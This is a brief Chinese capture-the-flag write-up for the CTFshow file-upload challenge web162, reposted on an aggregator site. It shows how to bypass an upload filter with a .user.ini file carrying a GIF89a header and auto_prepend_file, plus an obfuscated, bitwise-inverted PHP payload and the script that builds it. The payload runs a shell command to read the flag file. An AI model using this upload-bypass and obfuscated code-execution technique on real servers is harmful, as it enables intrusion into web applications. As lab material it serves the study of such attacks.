目錄

• 思路
• 總結(jié)

---

思路

大致思路和上題類(lèi)似,不過(guò)在上傳.user.ini的時(shí)候發(fā)現(xiàn).被過(guò)濾了,可以把包含的文件不帶后綴來(lái)繞過(guò)

.user.ini

GIF89aauto_prepend_file=png

png

GIF89a <?=require~%9b%9e%8b%9e%c5%d0%d0%8b%9a%87%8b%d0%8f%93%9e%96%91%d3%c3%c0%8f%97%8f%df%8c%86%8c%8b%9a%92%d7%d8%8b%9e%9c%df%d1%d1%d0%99%d5%d8%d6%c4%c0%c1?>

取反腳本

$a = "data://text/plain,<?php system('tac ../f*');?>"; echo "~("; for ($i = 0; $i < strlen($a); $i++) {echo "%".bin2hex(~$a[$i]); } echo ")"; //%9b%9e%8b%9e%c5%d0%d0%8b%9a%87%8b%d0%8f%93%9e%96%91%d3%c3%c0%8f%97%8f%df%8c%86%8c%8b%9a%92%d7%d8%8b%9e%9c%df%d1%d1%d0%99%d5%d8%d6%c4%c0%c1

訪問(wèn)upload,拿到flag

總結(jié)

我這個(gè)算是非預(yù)期解了吧

總結(jié)

以上是生活随笔為你收集整理的CTFshow 文件上传 web162的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。